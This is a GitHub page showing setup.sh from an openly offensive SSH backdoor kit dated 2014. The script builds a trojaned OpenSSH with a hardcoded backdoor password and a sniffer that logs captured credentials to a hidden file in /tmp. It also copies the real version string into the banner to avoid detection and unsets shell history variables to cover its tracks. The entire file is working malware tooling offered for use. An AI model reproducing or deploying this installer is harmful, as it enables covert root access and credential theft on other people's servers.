-
Notifications
You must be signed in to change notification settings - Fork 102
/
setup.sh
256 lines (213 loc) · 6.08 KB
/
setup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#!/bin/bash
# bl0wsshd00r67p1 . [email protected] . 2014
# - brazilian old school never dies
#
# greetz rfs r47 bonny mayhem all #darknet@efnet and #offset@brasnet old school members.
if [ "$(whoami)" != "root" ]; then
echo "you must be root!"
echo " "
exit 0
fi
if [ -e `which gcc` ]; then
echo "GCC found!"
else
echo "Sorry, no GCC Compiler has been found."
exit 0
fi
if [ -e `which perl` ]; then
echo "PERL found!"
else
echo "Sorry, no PERL has been found."
exit 0
fi
# echo "- bl0wsshd00r67p1 coded by [email protected] -brazilian oldschool never dies."
echo "Enter Log File Password. default: /tmp/.sniffssh"
read bdlogfile
if [ -z "$bdlogfile" ]; then
bdlogfile=/tmp/.sniffssh
fi
#define bdlogfile "/tmp/ilog"
echo "#define bdlogfile \"$bdlogfile\"" >> includes.h
TEST=""
elf=1
bc=1
while [ -z "$TEST" ] ; do
if [ "$elf" = "1" ] ; then
TEST="Yes"
else
TEST="No"
fi
echo ""
echo "Do you want to encrypt sniffer log files? Yes or No"
echo $n "[$TEST] "
read cc
if [ -z "$cc" ] ; then
cc=$TEST
fi
case "$cc" in
[Yy]*)
elf="1"
;;
[Nn]*)
elf=""
;;
*)
echo ""
echo "You must enter either Yes or No"
TEST=""
;;
esac
done
TEST=""
while [ -z "$TEST" ] ; do
if [ "$bc" = "1" ] ; then
TEST="Yes"
else
TEST="No"
fi
echo ""
echo "Do you want to encrypt password backdoor? Yes or No"
echo $n "[$TEST] "
read cc
if [ -z "$cc" ] ; then
cc=$TEST
fi
case "$cc" in
[Yy]*)
bc="1"
;;
[Nn]*)
bc=""
;;
*)
echo ""
echo "You must enter either Yes or No"
TEST=""
;;
esac
done
#echo $elf
#echo $bdlogfile
#echo $bc
ligado=1
desligado=0
if [ $elf = $ligado ]; then
echo "-------------------o"
echo "Ok! Your logs will be encryptepd, generating decrypt0r"
echo "Use: ./decryptlog <sniffer log encrypted>"
gcc -o decryptlog decryptlog.c
ls -la decryptlog
decryptordir=./
echo "DONE! You can set a full binary path for decryptlog. default: ./decryptlog (You will set manually bro.)"
read decryptodir
if [ -z "$decryptodir" ]; then
decryptodir=./decryptlog
fi
mv decryptlog $decryptodir>/dev/null
ls -la $decryptodir
echo "#define CL 0" >> includes.h
fi
if [ $bc = $ligado ]; then
echo "Generating your encrypt0r-password."
gcc -o cryptback cryptback.c -lcrypt
ls -la cryptback
echo "Now, we will generate your password hash encrypted. Enter your backdoor password, and wait for a hash."
./cryptback
echo "Entry your password encrypted here:"
read penc
echo "#define BC 0" >> auth-bd.h
echo "#ifdef BC" >> auth-bd.h
echo "const char *bdpassword2 = \"$penc\";" >> auth-bd.h
echo "#else" >> auth-bd.h
echo "#define bdpassword \"bleh\"" >> auth-bd.h
echo "#endif" >> auth-bd.h
else
echo "Enter your password: default.: hollyshit"
read np
if [ -z "$np" ]; then
np=hollyshit
fi
echo "//#define BC 0" >> auth-bd.h
echo "#ifdef BC" >> auth-bd.h
echo "const char *bdpassword2 = \"$penc\"" >> auth-bd.h
echo "#else" >> auth-bd.h
echo "#define bdpassword \"$np\"" >> auth-bd.h
echo "#endif" >> auth-bd.h
fi
echo "OK. Whats --prefix= for install? default: /usr"
read pref
if [ -z "$pref" ]; then
pref=/usr
fi
echo "OK. Whats --sysconfdir= for install? default: /etc/ssh"
read scd
if [ -z "$scd" ]; then
scd=/etc/ssh
fi
echo "OK. Whats extra parameters? Default: --without-kerberos5 --without-zlib-version-check --with-pam"
read epr
if [ -z "$epr" ]; then
epr="--without-kerberos5 --without-zlib-version-check --with-pam";
fi
echo "Configuring BANNER."
ssh_cmd=$(ssh -V 2>&1)
ssh_version=$(echo "$ssh_cmd" | /usr/bin/cut -d " " -f 1 | /usr/bin/cut -c 9- | /usr/bin/cut -d p -f 1)
ssh_portable=p$(echo "$ssh_cmd" | /usr/bin/cut -d " " -f 1 | /usr/bin/cut -c 9- | /usr/bin/cut -d p -f 2 | cut -d , -f 1)
ssh_versi=$(echo "$ssh_cmd" | /usr/bin/cut -d " " -f 1 | /usr/bin/cut -c 9- | /usr/bin/cut -d p -f 1)
ssh_por=p$(echo "$ssh_cmd" | /usr/bin/cut -d " " -f 1 | /usr/bin/cut -c 9- | /usr/bin/cut -d p -f 2 | cut -d , -f 1)
unset HISTFILE;unset HISTSIZE;unset HISTNAME;unset HISTSAVE;unset HISTFILESIZE
printf "SSH Version OpenSSH_$ssh_versi :"
read SSHDVE
if [ -z "$SSHDVE" ]; then
ssh_version=OpenSSH_$ssh_versi
else
ssh_version=$SSHDVE
fi
printf "SSH Portable: $ssh_por :"
read SSHPO
if [ -z "$SSHPO" ]; then
ssh_portable=$ssh_por
else
ssh_portable=$SSHPO
fi
echo "#define SSH_VERSION \"$ssh_version\"" >> version.h
echo "#define SSH_PORTABLE \"$ssh_portable\"" >> version.h
echo "#define SSH_RELEASE SSH_VERSION SSH_PORTABLE" >> version.h
echo "OK, Now we will run ./configure"
echo "./configure --prefix=$pref --sysconfdir=$scd $epr>/dev/null"
./configure --prefix=$pref --sysconfdir=$scd $epr>/dev/null
if [ `echo $?` = 1 ]; then
clear
printf "PAM Error. Trying without libpam\n"
sleep 3
./configure --prefix=/usr --sysconfdir=/etc/ssh > /dev/null
fi
echo "-----------------------------"
echo "Configure OK, generating binaries."
echo "make"
make > /dev/null
ls -la ssh
ls -la sshd
mkdir ./backup-binaries
# chattr -i /usr/bin/ssh
# chattr -i /usr/bin/sshd
cp /usr/bin/ssh ./backup-binaries/
cp /usr/sbin/sshd ./backup-binaries/
# echo "**NOTE**"
# echo "**NOTE** IF YOU CHANGED --PREFIX, YOU WILL NEED TO INSTALL BINARIES MANUALLY!!"
# echo "**NOTE**"
# echo "We created a backup from original binaries for ssh and sshd at: ./backup-binaries ."
# mv ssh /usr/bin/
# mv sshd /usr/sbin/
# chmod +x /usr/sbin/sshd /usr/bin/ssh
# echo "Restarting SSH."
# if [ -e /var/run/sshd.pid ]; then
# kill `cat /var/run/sshd.pid`
# /usr/sbin/sshd
# else
# kill `pidof sshd | awk '{ print $1 }'`
# /usr/sbin/sshd
# fi
echo "Backdoor installed. use root@localhost and use your magic password to test."
echo "Make install isnt used, but ssh and sshd binaries has been instaled and rehashed. You can try to use it too. =P"
echo "More sugestions send email. [email protected] . Or try findme at EFNet"